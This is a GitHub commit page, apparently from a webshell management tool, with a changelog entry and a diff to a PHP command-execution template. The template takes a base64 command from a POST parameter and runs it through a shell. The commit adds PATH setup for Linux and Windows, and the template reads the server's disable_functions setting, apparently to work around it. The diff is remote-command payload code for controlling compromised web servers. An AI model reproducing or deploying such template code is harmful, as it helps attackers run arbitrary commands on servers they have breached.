Skip to content

Commit

Permalink
(Enhance:Core) PHP 执行命令模版代码默认加入常见环境变量
Browse files Browse the repository at this point in the history
  • Loading branch information
Medicean committed Aug 8, 2019
1 parent 30f365a commit 14d8461
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 0 deletions.
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
### 核心模块

* 修复 PHP4 命令执行语法错误 #199 (thx @ier005)
* PHP 执行命令模版代码默认加入常见环境变量 (issue from: https://www.t00ls.net/viewthread.php?tid=52205)

### 系统设置

Expand Down
5 changes: 5 additions & 0 deletions source/core/php/template/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,11 @@ module.exports = (arg1, arg2) => ({
$s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
Expand Down

0 comments on commit 14d8461

Please sign in to comment.